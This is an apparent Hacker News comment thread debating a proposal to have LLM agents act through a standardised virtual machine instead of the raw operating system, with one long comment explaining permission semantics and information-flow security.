LLMs are already hard to interpret as it is. Why not just have some minimal linux so at least someone with a linux background can observe and easily make sense of its actions? If we make an unfamiliar opaque virtual machine, it's likely to be even less user friendly.
Hmmmm I don't think that would make sense. Closest analogy is working with humans. The easiest way to work with a human isn't a thin, limited api, but rather to give them context and work together (employment). I think the future of software will look more like Claude Code. Lets the model work in a similar space as us, where it can intelligently seek out information and use tools as a human would.
I can’t believe such hyperbolic fantasies are on HN now too.
We do, it's called running it in docker.
is this just describing in theory what bytebot.ai does in practice? i'm a user just started hacking on it
Why is the author conflating a virtual machine (a deployment mechanism) with security?
Wasn’t there a sci-fi where they kill someone to make a brain scan AI and then have them go to a virtual office for eternity complete with a call from mom each day
There are many comments that don't see the point of the article. For example, why not just use the tools the operating system provides for sandboxing? This article seems to be directed at people familiar with the state of programming languages research (SIGPLAN is the Special Interest Group on Programming LANguages) and so I think it's understandable that it seems vague if one is missing the broader context. However, for people familiar with the state of the field, the main idea is fairly clear.
An operating system (or sandbox, or whatever) is a very large virtual machine, where the "instructions" are the normal CPU instructions plus the set of syscalls. Unfortunately, operating systems today are complicated, hard to understand, and (relatively) hard to modify. For example, there are many different ways to sandbox file system access (chmod, containers, chroot, sandbox-exec on macOS etc.) and they each have bugs that have turned into "features" or subtle semantics. Plus, they are not available on all operating systems or even on all distributions of the same operating system. And then -- how do filesystem permissions and network permissions interact? Even of both of their semantics are "safe," is the composition of the two safe?
The assumption is: because operating systems are so complex, large, and underspecified, it probably is dangerous for LLMs to interact directly with the underlying operating system. We have observed this empirically: through CVEs in C and C++ code, we know that subtle errors or small differences in semantics can cascade into huge security vulnerabilities.
To address this, the authors propose that LLMs instead interact with a virtual machine where, for example, the semantics of permissions and/or capabilities is well-defined and standardized across different implementations or operating systems. (This is why they mention Java as an analogy -- the JVM gave developers the ability to write code for a vast array of architectures and operating systems without having to think about the underlying implementations.) This standardization makes it easier to understand how exactly an LLM would be allowed to interact with the outside world.
Besides semantic understanding and clarity, there are more benefits to designing a new virtual machine.
- Standardization across multiple model providers (mentioned).
- Better RLHF / constrained generation opportunity than general Bash output.
- Can incorporate advances in programming language theory and design.
For an example of the last point, in recent years, there has been a ton of research on information flow for security and privacy (mentioned in the article). In a programming language that is aware of information flow, I can mark my bank account password as "secret" and the input to all HTTP calls as "public." The type system or some other static analysis can verify that my password cannot possibly affect the input to any HTTP call. This is harder than you think because it depends on control flow! For example, the following program indirectly exfiltrates information about my password:
Obviously, nobody would write that code, but people do write similar code with bugs in e.g. timing attacks.